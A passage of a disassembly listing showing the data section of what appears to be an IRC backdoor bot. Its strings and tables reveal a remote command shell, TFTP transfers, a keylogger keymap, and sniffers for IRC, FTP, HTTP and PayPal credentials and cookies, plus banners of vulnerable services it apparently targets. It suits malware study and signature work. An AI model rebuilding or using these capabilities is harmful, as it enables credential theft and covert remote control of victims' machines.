		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
